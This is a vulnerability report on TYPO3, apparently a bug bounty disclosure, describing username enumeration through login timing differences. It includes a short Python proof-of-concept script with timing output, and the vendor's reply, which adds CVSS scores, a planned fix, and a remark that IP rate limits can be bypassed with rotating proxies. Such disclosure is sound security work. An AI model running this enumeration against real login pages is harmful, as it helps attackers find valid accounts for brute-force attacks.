User Enumeration via Response Timing in typo3/typo3
Reported on
Aug 25th 2022
Description
There is a significant timing difference in the login functionality for valid and invalid usernames.
Proof of Concept
1. Attempt a Login with a valid user and an invalid user and observe the difference in the response time
Here is a small test script (alternatively we can see the response time in Burp Repeater)
import requests
url = "http://127.0.0.1/typo3/login"
valid_user = {"username": "admin", "userident": "pw", "login_status": "login"}
invalid_user = {"username": "doesnotexist", "userident": "pw", "login_status": "login"}
for _ in range(3):
r = requests.post(url, data=valid_user)
print(r.elapsed.total_seconds())
print('---')
for _ in range(3):
r = requests.post(url, data=invalid_user)
print(r.elapsed.total_seconds())
Results:
$python3 timing.py
0.800313
0.778877
0.77845
---
0.021644
0.020045
0.019803
We can see that there is a difference in response time of about 750ms. This of course depends on the hash function the password is hashed with. Note that the rate limit was disabled for this PoC.
Impact
An attacker is able to identify valid usernames. This could allow for further attacks such as brute force attacks on valid accounts. The impact of this is significantly reduced because of the Rate Limit which is in place by default. The Rate Limit blocks an IP address after 5 failed login attempts. So a username enumeration attack is severely limited and only realistically possible if rate limiting is disabled.
Occurrences
AbstractUserAuthentication.php L550-L582
The hash function in authUser
is only executed when the username exists in the database. To mitigate this, the hash function should be executed with a dummy input even when the username does not exist.
References
Thanks for providing this detailed and in-depth report!
We were able to reproduce mentioned CWE-204 with a significant timing discrepancy for existing vs non-existing user accounts.
As mentioned in the report already, the rate limiter (defaults to 5 requests per 15 minutes) successfully mitigates the scenario - this feature has been introduced with TYPO3 v11. IP-based rate-limiting can be by-passed by using frequently changing proxies like torsocks
or similar.
The base CVSS we assessed would be 5.3
(medium):
- TYPO3 v11+ (having rate-limiter per default):
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
->3.7
- TYPO3 v10 and earlier:
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
->5.3
Since TYPO3's auth system allows to use multiple (combined) services, password hashing is not the only factor that has an impact on response times. Auth requests can be handed over to remote LDAP services or similar - instead of "hashing time", the the discrepancy would be "network latency" and might be different again.
However, addressing this in the core of TYPO3 most probably solves this for 90% of all installations. Custom auth services would have to implement agains a new TYPO3\CMS\Core\Authentication\MimicServiceInterface::mimicAuthUser()
which simulates these process times.
We are going to request a CVE on our own via GitHub. This report will be updated once a fix has been released.
@vautia TYPO3 has a dedicated bug bounty program, please get in contact with security@typo3.org in case you'd like to get rewarded.
Thanks for letting me know about the dedicated bug bounty program. I'll get in touch!